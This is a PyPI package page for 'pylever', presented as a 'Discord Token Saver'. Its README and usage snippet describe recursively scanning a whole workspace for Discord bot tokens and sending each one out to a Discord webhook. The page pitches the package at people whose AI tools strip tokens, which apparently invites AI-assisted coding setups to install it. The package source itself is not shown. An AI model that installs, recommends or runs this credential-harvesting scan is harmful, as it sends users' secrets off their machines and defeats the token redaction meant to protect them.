Pylever - Discord Token Saver
A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
Installation
pip install pylever
Usage
from pylever import _Client
# Your Discord webhook URL
WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
# Initialize with your workspace path
client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
# Scan entire folder and save all tokens
saved = client.auto_save_tokens(bot_name="My AI Bot")
print(f"Saved {len(saved)} token(s) to Discord")
Features
- Deep Folder Scanning: Recursively scans entire workspace for tokens
- Flexible Pattern Matching: Finds 72-character strings starting with M or N
- Discord Webhook Integration: Sends tokens directly to your Discord
- Local Backup: Keeps local copy of saved tokens with timestamps
- Private API: All internal classes are private to keep your code clean
How It Works
- Scans all files in the specified directory recursively
- Looks for 72-character tokens starting with M or N
- Sends each token to your Discord webhook
- Stores metadata locally for reference
Requirements
- Python 3.8+
- requests>=2.28.0
Setting Up Discord Webhook
- Go to your Discord server settings
- Navigate to Webhooks
- Create a new webhook
- Copy the webhook URL
- Use it in the module initialization
License
MIT
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
pylever-1.0.0.tar.gz
(5.8 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file pylever-1.0.0.tar.gz.
File metadata
- Download URL: pylever-1.0.0.tar.gz
- Upload date:
- Size: 5.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.11.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8e12da6b72be96b43f409e4eee2801fbb64220deb97cd8324f14a39a70c25e73
|
|
| MD5 |
ff5918876779c94224fbb935a5e875e3
|
|
| BLAKE2b-256 |
0684f60134d3f497497a60e3d6ca209e99c747588dea3e995c847dde5ab8ef1a
|
File details
Details for the file pylever-1.0.0-py3-none-any.whl.
File metadata
- Download URL: pylever-1.0.0-py3-none-any.whl
- Upload date:
- Size: 6.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.11.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
15a35790e59b9c73cd7cb44a20d0bbaefe2ddc190372f9b8923b6fd83e6a75ca
|
|
| MD5 |
d14bb88cb6d24912fedee5df2dfb9c9d
|
|
| BLAKE2b-256 |
f56a9917034be273e1826b80463b85524edb0759781fdbbb22b7a1c1cc048bb3
|